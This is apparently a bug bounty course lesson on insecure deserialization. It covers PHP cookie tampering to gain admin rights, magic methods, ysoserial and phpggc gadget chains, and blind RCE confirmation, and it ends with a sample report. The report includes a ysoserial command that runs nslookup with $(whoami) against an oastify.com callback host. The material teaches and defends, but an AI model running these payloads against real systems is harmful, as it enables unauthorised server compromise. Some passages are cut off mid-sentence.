This article teaches bug bounty hunters how to identify, exploit, and report insecure deserialization vulnerabilities across multiple programming languages. It explains two distinct attack paths—object property tampering for privilege escalation and gadget chain construction for remote code execution—and provides concrete techniques for safely confirming blind RCE via out-of-band callbacks. The material matters because deserialization vulnerabilities are prevalent in production systems and can escalate from property manipulation to full server compromise without authentication.
- Serialization signatures identify vulnerable surfacesEach language's serialized format is recognizable: PHP produces human-readable O:4:"User":2:{...} structures, Java serializes to binary starting with AC ED 00 05 (or base64 rO0AB), Python pickle encodes with opcodes, .NET uses BinaryFormatter or ViewState base64 blobs, and Ruby Marshal begins with x04x08. These signatures appear in cookies, hidden fields, tokens, and Authorization headers, allowing attackers to spot deserialization inputs at a glance.
- PHP string length prefixes enable tamperingPHP serialization stores strings as s::"value", so changing a value's length requires updating the numeric prefix or deserialization fails. For example, changing "alice" (5 characters) to "administrator" (13 characters) requires changing s:5 to s:13. Booleans (b:0 and b:1) need no length adjustment, making flipping an isAdmin boolean from false to true the simplest privilege escalation.
- Magic methods are deserialization's execution gatewayLifecycle hooks like PHP's __wakeup and __destruct, Java's readObject, and Python's __reduce__ run automatically during object reconstruction before application logic inspects the object. An attacker who controls the serialized bytes can set properties that these methods then use—for instance, a __destruct that writes to a file path controlled by a property, turning property tampering into file operations or beyond.
- Gadget chains weaponize existing library methodsTools like ysoserial (Java) and phpggc (PHP) generate pre-built serialized payloads that chain together existing library methods to reach dangerous sinks like Runtime.exec or system(). For example, ysoserial.jar CommonsCollections4 'nslookup $(hostname).collab.oastify.com' | base64 produces a serialized blob that, when deserialized, executes the command. The attacker injects no new code—only ordering and triggering methods already on the classpath.
- Blind RCE confirmation requires out-of-band callbacksDeserialization RCE rarely echoes command output in the response, so confirmation must happen out-of-band. DNS lookups are most reliable because DNS egress survives HTTP filtering; a command like nslookup cc4-www-data.abc123.oastify.com forces a DNS callback that proves execution and reveals the execution user. Collaborator tools capture these interactions, providing unambiguous evidence without reading sensitive data or running destructive commands.
- Post-deserialization validation cannot stop gadget chainsSecurity checks applied after the object is reconstructed fail because gadget chains execute during the deserialization act itself—before any application-level field inspection runs. A validating function that checks the object's properties after loading finds it already too late; the dangerous code has already fired. Only integrity protections applied before deserialization (cryptographic signatures) or class allowlists prevent gadget chain execution.
- Gadget library removal is a insufficient long-term fixDevelopers who respond to gadget chain reports by removing the specific vulnerable library (e.g., Apache Commons Collections) have only blocked one chain, not the vulnerability class. New gadget chains are discovered continuously in other libraries, making library removal a blocklist that the next discovered chain defeats. The systemic fix is eliminating native deserialization of untrusted data entirely or protecting it with cryptographic signatures plus a strict class allowlist.
- Report severity ranges from High to CriticalObject property tampering that escalates privileges (such as flipping an admin boolean) is typically rated High. Any confirmed remote code execution via a gadget chain, including blind RCE confirmed only by an out-of-band callback, is Critical because it demonstrates arbitrary OS command execution and full server compromise. Severity justification must tie directly to impact—unauthenticated RCE with no prerequisites reaches CVSS 9.8.
Bottom line: Insecure deserialization spans two exploitable phases: first, attackers tamper with security-relevant object properties by editing human-readable serialized data (privilege escalation); second, they assemble gadget chains using tools like ysoserial or phpggc to trigger automatic magic methods into code execution. The practical defense is never to deserialize untrusted native objects; instead, use signed, data-only formats with class allowlists, because removing individual gadget libraries leaves
FREE
Part of the Bug Bounty 60-Day Course
id/whoami captured out-of-band. Never run commands that read customer data, write files, open shells, or alter the system. If the programme forbids RCE PoCs, stop at property tampering and report the deserialization primitive. Follow the rules of engagement exactly.User object with an isAdmin property: decode it, flip false to true, re-encode, and you’re an admin. But the real danger is deeper. Deserialization automatically runs lifecycle methods — PHP’s __wakeup, Java’s readObject, Python’s __reduce__ — on the object it’s rebuilding. Chain together methods that already exist in the app’s libraries and you can make the mere act of deserializing your payload execute a system command. That’s a gadget chain, and tools like ysoserial and phpggc generate them for you. A tampered cookie becomes privilege escalation; a crafted serialized blob becomes remote code execution.🎯 What you’ll master in Day 39
⏱ ~30 min read · 3 hands-on exercises · Burp Suite + ysoserial + phpggc + PortSwigger Academy
ysoserial, PHP + phpggc for PHP targets, and Burp Collaborator for blind RCE confirmation. A little comfort reading base64 and recognizing encoding helps — most serialized data arrives base64-encoded in cookies and tokens.📋 Insecure Deserialization Bug Bounty – Table of Contents
What insecure deserialization is
Serialization turns an in-memory object into a byte stream for storage or transport; deserialization rebuilds the object from those bytes. The vulnerability is deserializing bytes the attacker controls, using a native deserializer that reconstructs arbitrary object types and runs their lifecycle methods. The application treats the incoming bytes as trusted object state — but the attacker wrote those bytes.
There are two tiers of impact. The first is object tampering: the serialized object carries security-relevant state (a role flag, a user ID, a price), and you edit it. No special tooling needed — decode, change the value, re-encode. The second, far more serious tier is code execution via gadget chains. Because deserialization automatically invokes magic methods on the reconstructed object, and because those methods can call other methods, an attacker can assemble a chain of existing library methods (“gadgets”) that, when triggered by deserialization, ends in a dangerous sink like Runtime.exec or system(). The attacker injects no new code — they weaponize methods already present on the classpath.
This class is especially dangerous because the dangerous behavior happens during the act of deserializing, before the application’s own logic ever inspects the object. Validation that runs “after loading the object” is already too late — the gadget chain fired during the load.
🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)
Reason about serialized data before you touch a decoder:
- A session cookie decodes (base64) to
O:4:"User":2:{s:8:"username";s:5:"alice";s:7:"isAdmin";b:0;}. What language is this, what doesb:0mean, and what single change makes you an admin? What else in the string must you keep consistent for it to parse? - A different app’s cookie base64-decodes to bytes starting
rO0AB. What language and format is that, can you simply flip a boolean like in question 1, and why is tampering alone usually not enough here — what do you reach for instead? - Explain, in one sentence each, why validating the object’s fields after deserialization does nothing to stop a gadget chain, and why signing the serialized blob does stop both tampering and gadget chains.
b:0/b:1 is a boolean — flipping it is textbook privilege escalation. Java (rO0AB / AC ED 00 05) is binary and not simply hand-editable, so you move to gadget chains. And the defense insight: gadget chains fire during load, so post-load validation is useless, while a cryptographic signature rejects any tampered blob before it is ever deserialized.Recognizing serialized data
You can’t exploit what you don’t notice. Serialized objects hide in cookies, hidden form fields, API tokens, caching layers, and message queues. Each language has a recognizable signature — learn them and you’ll spot deserialization surfaces at a glance.
Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3Qi…
DECODED
O:4:"User":2:{
s:4:"name"; s:5:"guest";
s:7:"isAdmin"; b:0;
}
O: = serialized object, b:0 = boolean false → flip to b:1
Object property tampering
When the serialized object is human-readable (PHP) and carries security state, tampering is the fastest win. Decode, change the value, fix any length prefixes, re-encode, and send. The one gotcha in PHP is the length prefix — strings are stored as s:<length>:"value", so if you change the value’s length you must update the number, or the object won’t parse.
Magic methods and the path to code
Tampering is limited to the state the object already holds. Code execution comes from magic methods — the lifecycle hooks that run automatically during deserialization. In PHP, __wakeup() runs when an object is unserialized and __destruct() runs when it’s destroyed; if a class on the codebase has a __destruct that, say, writes to a file path stored in a property, you can control that path by setting the property in your serialized object. In Java, readObject() is the entry point. In Python, __reduce__ literally returns a callable and its arguments to run on unpickling. These automatic invocations are the doorway: you supply an object whose reconstruction triggers useful behavior you didn’t have to call explicitly.
Gadget chains with ysoserial and phpggc
For Java and PHP you rarely hand-build chains — the community has catalogued gadget chains for popular libraries, and tools generate the payloads. ysoserial produces Java gadget-chain payloads for dozens of libraries (CommonsCollections, Spring, etc.). phpggc (PHP Generic Gadget Chains) does the same for PHP frameworks (Laravel, Symfony, Monolog, etc.). You pick a chain that matches a library on the target’s classpath and a command, and the tool emits the serialized blob.
Confirming blind RCE out-of-band
Deserialization RCE is almost always blind — the response won’t contain command output. You confirm it out-of-band: make the gadget chain run a command that forces a network callback to your Collaborator, ideally one that includes a unique identifier so you know exactly which payload fired. A DNS lookup is the most reliable because DNS egress is rarely filtered, even when HTTP is.
⚡ EXERCISE 2 — BURP LAB (25 MIN)
Work through PortSwigger Web Security Academy’s deserialization labs:
- Start with Modifying serialized objects — decode the PHP cookie, flip the admin boolean, and delete a user. This is pure property tampering.
- Do the labs on modifying data types and using application functionality to see how type juggling and existing classes extend tampering toward code paths.
- Do a PHP object injection lab that uses a magic method (
__destructwriting a controlled path) to reach a file operation — your first real gadget. - Finish with a pre-built gadget chain lab using
phpggc(or the Java equivalent withysoserial) to reach command execution, confirming via the lab’s mechanism.
Writing the report that pays
A deserialization report must show the serialized-data location, the exact payload, and unambiguous evidence. For tampering, show the before/after object and the privilege change. For RCE, show the gadget-chain command and the Collaborator callback that proves execution. Rate by outcome and name the precise fix.
Severity: Critical (CVSS 9.8) — unauthenticated remote code execution on the application server
Affected Endpoint: Any request accepting the “session” cookie at https://www.target.com/
Summary: The application deserializes the base64-encoded Java object in the “session” cookie using native Java deserialization without class allowlisting or integrity protection. The classpath includes a vulnerable library (Apache Commons Collections 4), allowing a ysoserial gadget chain to execute arbitrary OS commands during deserialization.
Steps to Reproduce:
1. Observe the “session” cookie base64-decodes to a Java serialized object (magic bytes AC ED 00 05)
2. Generate a gadget chain with a harmless out-of-band command:
java -jar ysoserial.jar CommonsCollections4 “nslookup cc4-$(whoami).abc123.oastify.com” | base64 -w0
3. Replace the “session” cookie value with the generated payload and send any request
4. Burp Collaborator receives a DNS lookup for cc4-www-data.abc123.oastify.com, confirming code execution as the www-data user
[Collaborator log and payload attached. No further commands were run.]
Impact: An attacker can execute arbitrary operating-system commands on the application server simply by sending a crafted cookie, with no authentication required. This is full server compromise — access to application data, secrets, internal network, and lateral movement.
Remediation: Stop deserializing untrusted native Java objects. Replace the session mechanism with a signed, data-only token (e.g. a JWT or an HMAC-signed JSON payload) so no object graph is reconstructed from client data. If native deserialization must remain, implement look-ahead deserialization with a strict class allowlist (e.g. a validating ObjectInputStream) and cryptographically sign the serialized blob. Removing the vulnerable library is not sufficient — new gadget chains are found continuously.
⚡ EXERCISE 3 — WRITE THE REPORT (15 MIN)
Convert a lab solve into a full report:
- Write a tampering report (for the PHP admin-boolean lab) and an RCE report (for the gadget-chain lab). For each, include the serialized data location, the before/after or the payload, and the exact evidence.
- Rate each correctly: property tampering that escalates to admin is High; confirmed RCE via a gadget chain is Critical. Justify each rating in one sentence tied to impact.
- Write the remediation for the RCE as a systemic fix — not “remove CommonsCollections” (a blocklist that the next chain defeats) but “stop deserializing untrusted native objects; use signed data-only tokens or class allowlisting.” Explain in one line why removing one library isn’t enough.
💰 Quick check: a target deserializes a Java object from a cookie. The developers respond to your report by removing the one vulnerable gadget library you used and say the issue is fixed. Why is this insufficient?
📋 Day 39 reference card
✅ Mark Day 39 complete
You can recognize serialized data across languages, tamper object properties for privilege escalation, explain why magic methods enable code execution, generate gadget chains with ysoserial and phpggc, confirm blind RCE out-of-band safely, and write a report that recommends the systemic fix.
❓ Frequently asked questions
What is insecure deserialization?
How do I recognize serialized data?
What is a gadget chain?
What are magic methods and why do they matter?
What severity does insecure deserialization get?
How is insecure deserialization fixed?
📚 Further reading
- Server-Side Template Injection — Day 40 — the next RCE-class bug; SSTI and deserialization are the two most common paths from a web input to code execution.
- Burp Suite Deep Dive — Day 5 — Burp for spotting serialized blobs in cookies/tokens and Collaborator for confirming blind RCE are the core tools.
- External: PortSwigger — Insecure Deserialization — the complete free lab series from object tampering through pre-built gadget chains.
- External: ysoserial — the standard Java gadget-chain payload generator; pair with phpggc for PHP targets.

